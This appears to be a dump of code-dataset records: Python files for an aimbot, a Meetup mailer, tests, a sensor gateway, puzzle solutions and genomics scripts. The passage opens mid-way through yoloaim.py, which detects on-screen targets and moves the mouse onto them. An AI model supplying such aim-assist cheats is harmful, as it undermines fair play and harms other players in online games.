tf.image.combined_non_max_suppression(\r\n boxes=tf.reshape(boxes, (tf.shape(boxes)[0], -1, 1, 4)),\r\n scores=tf.reshape(\r\n pred_conf, (tf.shape(pred_conf)[0], -1, tf.shape(pred_conf)[-1])),\r\n max_output_size_per_class=50,\r\n max_total_size=50,\r\n iou_threshold=self.iou,\r\n score_threshold=self.score\r\n )\r\n pred_bbox = [boxes.numpy(), scores.numpy(), classes.numpy(), valid_detections.numpy()]\r\n\r\n if self.review_window:\r\n image = utils.draw_bbox(original_image, pred_bbox)\r\n return image, pred_bbox\r\n else:\r\n return None, pred_bbox\r\n\r\n def start(self):\r\n monitor_dict = {\r\n \"top\": self.monitor[1], # y1\r\n \"left\": self.monitor[0], # x1\r\n \"width\": self.monitor[2], # w\r\n \"height\": self.monitor[3], # h\r\n }\r\n\r\n title = \"YoloAim\"\r\n display_time = 2 # displays the frame rate every 2 second\r\n sct = mss.mss()\r\n\r\n while True:\r\n # Get raw pixels from the screen, save it to a Numpy array\r\n img = np.array(sct.grab(monitor_dict))\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n\r\n # detect object\r\n img, pred_bbox = self.detect(img)\r\n\r\n # move user mouse to object detected with highest score\r\n if self.control_mouse:\r\n self.control(pred_bbox)\r\n\r\n # Display the picture in grayscale\r\n self.fps += 1\r\n TIME = time.time() - self.start_time\r\n if (TIME) >= display_time :\r\n # print(\"FPS: \", self.fps / (TIME))\r\n self.fps = 0\r\n self.start_time = time.time()\r\n\r\n if self.review_window:\r\n # Display the picture\r\n cv2.imshow(title, cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\r\n\r\n # Press \"q\" to quit\r\n if cv2.waitKey(25) & 0xFF == ord(\"q\"):\r\n cv2.destroyAllWindows()\r\n break\r\n\r\n def control(self, bboxes):\r\n chosen_class_index = None\r\n highest_score = None\r\n position_x = None\r\n position_y = None\r\n\r\n out_boxes, out_scores, out_classes, num_boxes = bboxes\r\n for i in range(num_boxes[0]):\r\n if int(out_classes[0][i]) < 0 or int(out_classes[0][i]) > self.num_classes:\r\n continue\r\n\r\n # if not for classes user want to detect; skip\r\n class_ind = int(out_classes[0][i])\r\n if self.detect_class_index is not None and class_ind != self.detect_class_index:\r\n continue\r\n\r\n # if current score is less than score you saw previously also skip\r\n score = out_scores[0][i]\r\n if highest_score is None:\r\n highest_score = score\r\n elif highest_score is not None and highest_score > score:\r\n continue\r\n\r\n chosen_class_index = class_ind\r\n\r\n coor = out_boxes[0][i]\r\n # NOTE: because this calculation is also done in utils.draw_bbox, `draw` method\r\n # so do not calculate again here, if no review window, that method will\r\n # not be called and we will have to calculate here\r\n if not self.review_window:\r\n coor[0] = int(coor[0] * self.capture_dimension[1]) # y1\r\n coor[1] = int(coor[1] * self.capture_dimension[0]) # x1\r\n coor[2] = int(coor[2] * self.capture_dimension[1]) # y2\r\n coor[3] = int(coor[3] * self.capture_dimension[0]) # x2\r\n\r\n # find center position in capture dimensin\r\n position_x = (coor[1] + coor[3]) / 2\r\n position_y = (coor[0] + coor[2]) / 2\r\n\r\n # run only if can detect\r\n if chosen_class_index is not None:\r\n # get center position based on display dimension (add back padding)\r\n position_x = int(position_x + self.padding_dimension[0])\r\n position_y = int(position_y + self.padding_dimension[1])\r\n\r\n win32api.SetCursorPos((position_x, position_y))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n aim = YoloAim(\r\n weights_path = WEIGHTS_PATH,\r\n detect_class_index = DETECT_CLASS_INDEX,\r\n review_window = SHOW_REVIEW_WINDOW,\r\n control_mouse = CONTROL_MOUSE,\r\n )\r\n aim.start()\r\n","sub_path":"yoloaim.py","file_name":"yoloaim.py","file_ext":"py","file_size_in_byte":9807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"101111501","text":"#!/usr/bin/env python3\n#\n# Copyright (C) 2013-2014 George Saunders \n#\n# meetupmailer is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) version 3 of the License.\n#\n# meetupmailer is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with meetupmailer. If not, see .\n\nimport argparse\nimport sys\nfrom operator import itemgetter\nfrom os.path import expanduser, join as path_join\nfrom mmsettings import MMConfig\nfrom mmmeetupapi import meetup_events, meetup_comments\nfrom mmmail import format_email, send_email\n\n\ndef main():\n try:\n default_config = path_join(expanduser(\"~\"),\".mm.json\")\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-w\", \"--writeconfig\",\n help=\"write sample configuration file and exit\",\n action=\"store_true\")\n parser.add_argument(\"-c\", \"--configfile\",\n help=\"configuration file name,\"\n \" defaults to \" + default_config,\n action=\"store\",\n default=default_config,\n metavar=\"FILE\")\n args = parser.parse_args()\n\n if args.writeconfig:\n s = MMConfig.default_settings()\n s.write_settings(args.configfile)\n return\n\n config = MMConfig.read_settings(args.configfile)\n config.validate_settings()\n\n #Verify write access to file\n config.write_settings(args.configfile)\n\n try:\n if config.events_list_needs_update():\n events = meetup_events(config['meetup_api'])\n config.update_events(events)\n\n comments = []\n for event in config.events_to_check():\n comments.extend(\n meetup_comments(config['meetup_api'], event))\n comments = sorted(comments, key=itemgetter('time'))\n for comment in comments:\n email = format_email(comment, config)\n send_email(email, config)\n finally:\n config.write_settings(args.configfile)\n\n except Exception as e:\n #sys.exit(e)\n raise\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"meetupmailer.py","file_name":"meetupmailer.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"542251046","text":"\"\"\"\n\"\"\"\nfrom energy_demand.initalisations import helpers\nfrom energy_demand.read_write import read_data\n\ndef test_init_dict_brackets(): \n \"\"\"Test\n \"\"\"\n first_level_keys = [\"a\", \"b\"]\n one_level_dict = helpers.init_dict_brackets(first_level_keys)\n expected = {\"a\": {}, \"b\": {}}\n\n assert one_level_dict == expected\n\ndef test_get_nested_dict_key():\n \"\"\"Test\n \"\"\"\n nested_dict = {\"a\": {\"c\": 1, \"d\": 3}, \"b\": {\"e\": 4}}\n keys = helpers.get_nested_dict_key(nested_dict)\n\n assert \"c\" in keys\n assert \"d\" in keys\n assert \"e\" in keys\n\ndef test_set_same_eff_all_tech():\n \"\"\"Test\n \"\"\"\n eff_to_assign = 0.5\n\n technologies = {\n 'boilerA': read_data.TechnologyData(\n fueltype='gas',\n eff_by=0.5,\n eff_ey=0.5,\n year_eff_ey=2015,\n eff_achieved=1.0,\n diff_method='linear',\n market_entry=1990,\n tech_max_share=1.0,\n fueltypes={'gas': 1})}\n\n techs_eff = helpers.set_same_eff_all_tech(\n technologies=technologies,\n eff_achieved_f=0.44)\n\n assert techs_eff['boilerA'].eff_achieved == 0.44\n","sub_path":"tests/initialisations/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"478453817","text":"def stress(word):\n count = 0\n place = -1\n for j in range(len(word)):\n if word[j].isupper():\n count += 1\n place = j + 1\n if count == 1:\n return place\n else:\n return -1\n\n\nrules = {}\nfor i in range(int(input())):\n word = input()\n rules[word] = stress(word)\n rules[word.lower()] = -1\nerrors = 0\nfor word in input().strip().split():\n check = stress(word)\n # print(word, check)\n # if (word in rules or word.lower() in rules) and check != -1:\n # errors += 1\n if check == -1:\n # print('error 1 in:', word)\n errors += 1\n elif word not in rules and word.lower() in rules:\n # print('error 2 in:', word)\n errors += 1\nprint(errors)\n","sub_path":"Week7/w7.23.py","file_name":"w7.23.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"442017471","text":"import torch\nimport torch_ipex._C as core\n\ntorch_to = torch.nn.Module.to\n\ndef apply(m, fn):\n for sub_module in m.children():\n apply(sub_module, fn)\n fn(m)\n return m\n\ndef to(module, *args, **kwargs):\n m = torch_to(module, *args, **kwargs)\n\n device, dtype, non_blocking, convert_to_format = torch._C._nn._parse_to(*args, **kwargs)\n\n if not device or device.type != \"xpu\":\n return m\n\n def mark_param(t):\n for param in t.parameters():\n core.set_parameter_tensor(param.data)\n\n return apply(m, mark_param)\n\ntorch.nn.Module.to = to\n","sub_path":"torch_ipex/ops/to.py","file_name":"to.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"472854590","text":"infinity = float('inf')\n\n\nclass Wire:\n def __init__(self):\n self.x = 0\n self.y = 0\n self.pos = []\n\n def record_position(self):\n self.pos.append((self.x, self.y))\n\n def move(self, instruction):\n direction, steps = instruction[0], int(instruction[1:])\n if direction == 'U':\n for step in range(steps):\n self.y += 1\n self.record_position()\n\n elif direction == 'R':\n for step in range(steps):\n self.x += 1\n self.record_position()\n\n elif direction == 'D':\n for step in range(steps):\n self.y -= 1\n self.record_position()\n\n elif direction == 'L':\n for step in range(steps):\n self.x -= 1\n self.record_position()\n\n def intersect(self, wire):\n return set(self.pos).intersection(wire.pos)\n\n\ndef parse_instructions(instructions):\n instructions = [instructions[i].rstrip(\n '\\n') for i in range(len(instructions))]\n return instructions[0].split(','), instructions[1].split(',')\n\n\nif __name__ == '__main__':\n with open(\"input.txt\", \"r\") as f:\n instructions = f.readlines()\n first_wire_instructions, second_wire_instructions = parse_instructions(\n instructions)\n\n first_wire = Wire()\n second_wire = Wire()\n\n for instruction in first_wire_instructions:\n first_wire.move(instruction)\n\n for instruction in second_wire_instructions:\n second_wire.move(instruction)\n\n intersection_points = first_wire.intersect(second_wire)\n\n smallest_distance = infinity\n smallest_steps = infinity\n for intersection_point in intersection_points:\n distance = abs(intersection_point[0]) + abs(intersection_point[1])\n combined_steps = first_wire.pos.index(\n intersection_point) + second_wire.pos.index(intersection_point)\n\n if distance < smallest_distance:\n smallest_distance = distance\n\n if combined_steps < smallest_steps:\n smallest_steps = combined_steps\n\n print(smallest_distance)\n print(smallest_steps)\n","sub_path":"python/day3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"594024795","text":"\"\"\"Defines URL patterns for myapp.\"\"\"\n\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'myapp'\nurlpatterns = [\n # Home page\n path('', views.index, name='index'),\n\n # Show all projects\n path('projects/', views.projects, name='projects'),\n\n # Detail page for a single project\n path('projects//', views.project, name='project'),\n]\n","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"6667626","text":"import cv2\nimport glob\n\ndef print_text(file, list_):\n f = open(file, 'w')\n\n f.writelines(list_)\n\nimages = [x.split(\"/\")[-1]+\"\\n\" for x in glob.glob(\"images/*.jpg\")]\nprint_text(\"image_list.txt\", images)\n# for image in images:\n# img = cv2.imread(image, 0)\n#\n# cv2.imshow(\"img\", img)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n\n","sub_path":"TextRecognitionDataGenerator/image_list.py","file_name":"image_list.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"476397970","text":"####!/usr/bin/python3\n\nimport re\nimport subprocess\n\n# debug & test\n#groups = 'uid=1600030(bp000029) gid=1600000(bp0) groups=1600000(bp0),32104(ich011),31882(ich002),1600067(bp00sp01)'\n#cmd = subprocess.getoutput('/usr/bin/id bp000029')\n#cmd_split = cmd.split(\"groups\",1)[1]\n#account = re.findall('\\(([^)]+)', cmd_split)\n\ndef get_quota(config, LOG):\n#def get_quota():\n cmd = subprocess.getoutput('/usr/bin/id $USER')\n cmd_split = cmd.split(\"groups\",1)[1]\n account = re.findall('\\(([^)]+)', cmd_split)\n totalh = 0.0\n for i in account:\n line = '/apps/common/system/sbin/sbucheck_adm -g ' + i + ' | grep -w \"DAINT Usage\" | awk \\'{print $8 \\\" \\\" $3}\\''\n data = subprocess.getoutput(line)\n datas = data.split(' ')\n if datas:\n tot_node_hours = float(datas[0].replace(',', ''))\n consumed_node_hours = float(datas[1].replace(',', ''))\n remaining_node_hours = tot_node_hours - consumed_node_hours\n else:\n LOG.error(\"Error determining CPU quota: %s\", data)\n return str(000000)\n return int(remaining_node_hours)\n\n#print(get_quota())\nprint(get_quota())\n","sub_path":"quota.py","file_name":"quota.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"48343292","text":"import time\nimport json\nimport serial\nimport requests\nimport re, uuid\nfrom funcs import *\n\nwhile True:\n\tloggers = {'/dev/ttyACM0':False}#, '/dev/ttyACM1':False}\n\tmac_addr = \"b8:27:eb:55:65:5b\" #':'.join(re.findall('..', '%012x' % uuid.getnode()))\n\n\ttry:\n\t\tfor logger in loggers.keys():\n\t\t\t# getData(logger)\n\t\t\ttry:\n\t\t\t\tloggers[logger] = serial.Serial(logger, 9600, timeout=5)\n\t\t\texcept:\n\t\t\t\tprint(\"Unable to reach {0}\".format(logger))\n\t\t\t\tloggers[logger] = False\n\n\t\ttime.sleep(3)\n\n\t\tdata = {'mac_addr':mac_addr}\n\t\tdata2 = dict()\n\t\tfor logger in loggers.keys():\n\t\t\tif(loggers[logger] != False):\n\t\t\t\tcomm = loggers[logger]\n\t\t\t\tcomm.write(b'b')\n\t\t\t\tline = comm.readline().strip()\n\t\t\t\tline = line.decode(\"UTF-8\")\n\t\t\t\tdata2[logger] = json.loads(line)\n\t\t\telse:\n\t\t\t\tdata2[logger] = None\n\n\t\tdata['data'] = data2;\n\t\tjsonData = json.dumps(data)\n\t\tprint(jsonData)\n\n\t\ts = requests.Session()\n\n\t\tres = s.post(\"http://52.15.94.210/roomdashboard/api/gateway\",json=jsonData)\n\t\tprint(res.status_code)\n\n\t\ttime.sleep(57)\n\n\t\tfor logger in loggers.keys():\n\t\t\tif(loggers[logger] != False):\n\t\t\t\tloggers[logger].close()\n\texcept:\n\t\tfor logger in loggers.keys():\n\t\t\tif(loggers[logger] != False):\n\t\t\t\tloggers[logger].close()","sub_path":"rPi/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"321364292","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport shutil\nimport re\nimport os.path\nimport sys\nfrom PIL import Image\n\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n\n#-----------------\n# if string a class name - return class name otherwise None\ndef isClassName(line):\n m = re.findall(\"^@implementation +(\\S+)\", line)\n if len(m) >= 1:\n return m[0].strip()\n else:\n return None\n\n#-----------------\n# read content of file to list\ndef readToListContentOfFile(fileName):\n retList = []\n h = open(fileName, \"r\")\n for line in h:\n retList.append(line)\n return retList\n\n#-----------------\n#return new list with inserted listToInsert from position to fileList\ndef insertListFromPosition(fileList, position, listToInsert):\n lineNum = position\n for line in listToInsert:\n fileList.insert(lineNum, line)\n lineNum += 1\n\n return fileList\n\n#-----------------\n# write list to file\ndef writeListToFile(fileList, fileName):\n f = open(fileName, \"w\")\n for line in fileList:\n f.write(line)\n\n#-----------------\n# get all designer names to list\ndef getDesignersNames():\n fh = open(\"../AppDesigners_Bundles.txt\")\n retList = []\n for line in fh:\n if len(re.findall(\"^-\", line)) > 0: # comment in this line\n continue\n retList.append(line.strip().split(\",\")[0])\n return retList\n\n\n# get all bundles names to list\ndef getBundlesNames():\n fh = open(\"../AppDesigners_Bundles.txt\")\n retList = []\n for line in fh:\n if len(re.findall(\"^-\", line)) > 0: # comment in this line\n continue\n retList.append(line.strip().split(\",\")[1])\n return retList\n\n\n# возвращает список кортежей, содержащий дезигнер и бандл для таргета\ndef getDesignersBundlesNames():\n fh = open(\"../AppDesigners_Bundles.txt\")\n retList = []\n for line in fh:\n if len(re.findall(\"^-\", line)) > 0: # comment in this line\n continue\n retList.append((line.strip().split(\",\")[0], line.strip().split(\",\")[1]))\n return retList\n\n# get appearance file name by designer name\ndef appearanceNameIfDesignerNameIs(designerName):\n appearanceName = designerName\n appearanceName = appearanceName.replace(\".m\", \"\")\n appearanceName = appearanceName.replace(\"AppDesigner\", \"\")\n appearanceName = appearanceName.replace(\"Designer\", \"\")\n appearanceName = appearanceName + \"Appearance.m\"\n return appearanceName\n\n\n#----------------- colors\n# принимает исключительно NSInteger! Возвращает его строковое представление в 16-ом формате\ndef colorStrForInt(colorInt):\n colorStr = ''.join('0x%06x'%colorInt)\n return colorStr\n\n# строковое представление цвета для пикселя - RGBA кортежа\ndef colorStrForPixel(pixel):\n r, g, b, a = pixel\n colorInt = r << 16 | g << 8 | b\n colorStr = colorStrForInt(colorInt)\n outStr = \"\"\n if a == 255: # без альфы\n outStr = colorStr\n else: # с альфой\n alpha = a * 100 / 255\n # colorWithColorAndAlpha(kWhiteColor, 60)\n outStr = \"colorWithColorAndAlpha(\" + colorStr + \", \" + str(alpha) + \")\"\n return outStr\n\n#-----------------\n# возвращает тапл, содержащий размер картинки в файле\ndef sizeOfImageWithPath(fullResourceFileName):\n im = Image.open(fullResourceFileName) #Can be many different formats.\n return im.size\n\n#-----------------\n# возвращает тапл, содержащий r, g, b, a - для пикселя с координатами x,y в картинке fullResourceFileName\ndef pixelOfImage(fullResourceFileName, x, y):\n im = Image.open(fullResourceFileName) #Can be many different formats.\n im = im.convert('RGBA')\n pix = im.load()\n pixel = pix[x, y] #Get the RGBA Value of the a pixel of an image\n return pixel\n#-----------------\n#-----------------\n#-----------------\n\n\n\n\n\n\n\n#-----------------\n","sub_path":"argar/PyScripts/MyLibs/utilsCommon.py","file_name":"utilsCommon.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"560957962","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n\nimport unittest\n\nfrom azext_recom.custom import process_query\n\n\nclass RecomScenarioTest(unittest.TestCase):\n\n def test_process_query(self):\n response = process_query(\"az container attach --container-name --name --resource-group\")\n # response = process_query(\"az aks browse --name --resource-group\")\n # response = process_query(\"az aks\")\n self.assertEqual(True, response)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"src/recom/azext_recom/tests/latest/test_recom_scenario.py","file_name":"test_recom_scenario.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"96790412","text":"import bleach\n\nfrom django.conf import settings\nfrom django.template import loader, Context, Template, RequestContext\nfrom re import match\n\n# The pattern that matches the user link.\nUSER_PATTERN = \"http://%s/u/\\d+\" % settings.SITE_DOMAIN\n\ndef userlinks(attrs, new=False):\n href = attrs['href']\n if match(USER_PATTERN, href):\n attrs['_text'] = \"Test user\"\n return attrs\n\n# These callback will be applied on html parsing.\nCALLBACKS = bleach.DEFAULT_CALLBACKS + [userlinks]\n\ndef render(name, **kwds):\n tmpl = loader.get_template(name)\n cont = Context(kwds)\n page = tmpl.render(cont)\n return page\n\n","sub_path":"biostar/apps/util/html.py","file_name":"html.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"63578045","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os.path\nfrom queue import Queue\n\nDIR_SELF = os.path.dirname(os.path.abspath(__file__))\nDIR_MEDIA = os.path.normpath(os.path.join(DIR_SELF, \"..\", \"media\"))\n\nDIR_ICONS = os.path.join(DIR_MEDIA, \"icons\")\n\nDIR_SCAN = os.path.normpath(os.path.join(DIR_SELF, \"..\", \"..\", \"sdir\"))\n# FILE_JSON = os.path.normpath(os.path.join(DIR_SELF, \"..\", \"sdir.json\"))\nFILE_JSON = os.path.normpath(os.path.join(DIR_SELF, \"..\", \"..\", \"sdir.json\"))\n#FILE_DB_TEST = \"/home/nia/Development/_Python/_DCat/dcat/tests/s1.db\"\nFILE_DB_TEST = os.path.normpath(os.path.join(DIR_SELF, \"..\", \"..\", \"simple.db\"))\n\n\n\n\nVERSION = \"1.0.1\"\nABOUT_NAME = \"DCat\"\nABOUT_AUTHOR_NAME = \"nia\"\nABOUT_AUTHOR_EMAIL = \"sysdeep@yandex.ru\"\nABOUT_SLUG = \"Менеджер каталогов съёмных носителей\"\nABOUT_DESCRIPTION = \"\"\"\nDCat позволяет управлять базой данных CD, DVD или других съёмных носителей для быстрого просмотра и поиска, без необходимости подключать накопитель.\n\"\"\"\n\n\nQUE_WALKER = Queue()\n\n\n\n\n\ndef get_icon_path(*icon_subpath):\n\treturn os.path.join(DIR_ICONS, *icon_subpath)\n\n\n\n\ndef set_scan_dir(new_path):\n\tglobal DIR_SCAN\n\tDIR_SCAN = new_path\n\ndef get_scan_dir():\n\tglobal DIR_SCAN\n\treturn DIR_SCAN","sub_path":"app/rc.py","file_name":"rc.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"653685948","text":"from datetime import date, datetime\nfrom ..value_objects import (\n EmailValueObject,\n PermissionValueObject,\n DatetimeValueObject,\n BirthdateValueObject\n)\n\n\nclass SampleUserEntity:\n def __init__(self, id: int = None, name: str = None, email: str = None,\n password: str = None, permission: str = None,\n permission_id: int = None, birth_date=None,\n created_at: datetime = None, updated_at: datetime = None):\n self.id = id\n self.name = name\n self.email = EmailValueObject(email)\n self.password = password\n self.permission = PermissionValueObject(permission)\n self.permission_id = permission_id\n self.birth_date = BirthdateValueObject(birth_date)\n self.created_at = DatetimeValueObject(created_at)\n self.updated_at = DatetimeValueObject(updated_at)\n\n def get_index_dict(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'email': self.email.get_label(),\n 'permission': self.permission.get_ja_label()\n }\n\n def get_store_dict(self):\n return {\n 'name': self.name,\n 'email': self.email.get_label(),\n 'password': self.password,\n 'permission_id': self.permission_id,\n 'birth_date': self.birth_date.get_date(),\n 'created_at': self.created_at.get_label(),\n 'updated_at': self.updated_at.get_label()\n }\n\n def get_show_dict(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'email': self.email.get_label(),\n 'permission': self.permission.get_ja_label(),\n 'age': self.birth_date.get_age(),\n 'created_at': self.created_at.get_label(),\n 'updated_at': self.updated_at.get_label()\n }\n\n def get_edit_dict(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'email': self.email.get_label(),\n 'permission_id': self.permission_id,\n 'birth_date': self.birth_date.get_str_number(),\n }\n\n def get_update_dict(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'email': self.email.get_label(),\n 'permission_id': self.permission_id,\n 'birth_date': self.birth_date.get_date(),\n 'updated_at': self.updated_at.get_label()\n }\n\n\nclass SamplePermissionEntity:\n def __init__(self, id: int = None, permission: str = None):\n self.id = id\n self.permission = PermissionValueObject(permission)\n\n def get_create_dict(self):\n return {\n 'id': int(self.id),\n 'permission': self.permission.get_ja_label()\n }\n","sub_path":"src/app/domain/domain_models/entities/sample_user_entity.py","file_name":"sample_user_entity.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"636483310","text":"#! /usr/bin/python\n\nimport wx\n\nclass ClassyWindow(wx.Frame): # Extend the frame\n\tdef __init__(self, parent=None, title=\"Window\",pos=(5,5)): # define constructor\n\t\tsuper(ClassyWindow,self).__init__(\n\t\t\tparent,\n\t\t\ttitle=title,\n\t\t\tsize=(640,480),\n\t\t\tpos=pos\n\t\t\t) # call the superclass, and call its init too?\n\t\t#self.Center() # self-centered... har har.\n\t\tself.Show()\n\nif __name__ == '__main__':\n\tapp=wx.App()\n\tClassyWindow(None,title=\"First test\",pos=(10,20)) \n\tClassyWindow(None,title=\"Size test\",pos=(510,520)) # somehow this attaches to the GUI \"session\" automatically\n\tapp.MainLoop()\n","sub_path":"ClassyWindow.py","file_name":"ClassyWindow.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"573815767","text":"# https://www.acmicpc.net/problem/2667\nimport sys\nsys.setrecursionlimit(10**6)\n\ndef dfs(y, x, cnt):\n visited[y][x] = 1\n cnt += 1\n for i in range(4):\n ny = y+dy[i]\n nx = x+dx[i]\n if 0 <= ny < n and 0 <= nx < n:\n if g[ny][nx] and not visited[ny][nx]:\n cnt = dfs(ny, nx, cnt)\n return cnt\n\nn = int(sys.stdin.readline().strip())\ng = [[int(x) for x in sys.stdin.readline().strip()] for _ in range(n)]\nvisited = [[0 for _ in range(n)] for _ in range(n)]\ndy = [-1, 0, 1, 0]\ndx = [0, 1, 0, -1]\nresults = []\ncomplex = 0\n\nfor i in range(n):\n for j in range(n):\n if g[i][j] and not visited[i][j]:\n results.append(dfs(i, j, 0))\n complex += 1\n\nprint(complex)\nfor result in sorted(results):\n print(result)","sub_path":"Study2021/Graph/2667(단지번호붙이기).py","file_name":"2667(단지번호붙이기).py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"570206533","text":"#!/usr/bin/env python\n##chrom_allele_freq.py\n##written 9/21/17 by Groves Dixon\n\n\nDescription = '''\nDescription:\n\n\n'''\n\nimport pandas as pd\nimport argparse\nimport numpy as np\nimport math\n\n\n##Set Up Argument Parsing\nparser = argparse.ArgumentParser(description=Description) ##create argument parser that will automatically return help texts from global variables above\nparser.add_argument('-i1', required = False, dest = 'inputFile1', help = 'The the first input file')\nparser.add_argument('-i2', required = True, dest = 'inputFile2', help = 'The the second input file')\n\nparser.add_argument('-lower1', required = False, default=0.2, dest = 'lower1', help = 'The lower bound for a Y-like allele for input file 1')\nparser.add_argument('-lower2', required = False, default=0.0, dest = 'lower2', help = 'The the second input file')\nparser.add_argument('-upper1', required = False, default=1.0, dest = 'upper1', help = 'The the second input file')\nparser.add_argument('-upper2', required = False, default=0.02, dest = 'upper2', help = 'The the second input file')\n\nparser.add_argument('-snpPerWindow', required = True, dest = 'snpPerWindow', help = 'The number of SNPs to include in each window')\nparser.add_argument('-o', required = True, dest = 'outputFile', help = 'Name for the output file')\nargs = parser.parse_args()\n\n\n\nin1=args.inputFile1\nin2=args.inputFile2\nsnpPerWindow=int(args.snpPerWindow)\noutFile=args.outputFile\nlower1=float(args.lower1)\nlower2=float(args.lower2)\nupper1=float(args.upper1)\nupper2=float(args.upper2)\n\n\n# in1='/Users/grovesdixon/gitreps/stickle_back_sex_chromosomes/results/chrXII.male.pun.frq'\n# in2='/Users/grovesdixon/gitreps/stickle_back_sex_chromosomes/results/chrXII.female.pun.frq'\n# snpPerWindow=1000\n# outFile='/Users/grovesdixon/gitreps/stickle_back_sex_chromosomes/results/test.tsv'\n# lower1=0.2\n# lower2=0.0\n# upper1=1.0\n# upper2=0.1\n\n\n#read in allele frequency files\ndef readFreq(infile):\n print(\"\\nReading in file {}...\".format(infile))\n f=pd.read_csv(infile, sep=\"\\t\", header=None, names=[\"CHROM\", \"POS\", \"N_ALLELES\", \"N_CHR\", \"refDat\", \"altDat\"])\n rdat=f['refDat'].str.split(\":\")\n adat=f['altDat'].str.split(\":\")\n f['ref']=rdat.str.get(0)\n f['freqR']=pd.to_numeric(rdat.str.get(1))\n f['alt']=adat.str.get(0)\n f['freqA']=pd.to_numeric(adat.str.get(1))\n print(\"Head of file:\")\n print(f.head())\n return f\n\n\nf1=readFreq(in1)\nf2=readFreq(in2)\n\ndef getYlikeProportion(f1, f2, snpPerWindow, lower1, upper1, lower2, upper2):\n print(\"\\nSearching for Y-like allele frequencies in windows with {} snps per window\".format(snpPerWindow))\n props=[]\n mids=[]\n edges = range(0, f1.shape[0], snpPerWindow)\n for i in range(len(edges)-1):\n s=edges[i]\n e=edges[i+1]\n win1 = f1[s:e]\n win2 = f2[s:e]\n N1=win1.shape[0]\n N2=win2.shape[0]\n cutA1 = (win1['freqA'] > lower1) & (win1['freqA']< upper1)\n cutA2 = (win2['freqA'] > lower2) & (win2['freqA']< upper2)\n cutR1 = (win1['freqR'] > lower1) & (win1['freqR']< upper1)\n cutR2 = (win2['freqR'] > lower2) & (win2['freqR']< upper2)\n selectA = pd.Series(cutA1 & cutA2)\n selectR = pd.Series(cutR1 & cutR2)\n select=selectA | selectR\n p=float(sum(select)) / float(N1)\n props.append(p)\n maxPos=max(win1['POS'])\n minPos=min(win1['POS'])\n mids.append(np.mean([maxPos,minPos]))\n res=pd.DataFrame(props, index=mids)\n res.columns=['propY']\n print(res.head())\n return res\n\n\nres=getYlikeProportion(f1, f2, snpPerWindow, lower1, upper1, lower2, upper2)\nprint(\"\\nSaving results as {}...\".format(outFile))\nres.to_csv(outFile, sep=\"\\t\", index=True)\n\n\n\n\n\n\n\ncutA1 = (f1['freqA'] > lower1) & (f1['freqA']< upper1)\ncutA2 = (f2['freqA'] > lower2) & (f2['freqA']< upper2)\ncutR1 = (f1['freqR'] > lower1) & (f1['freqR']< 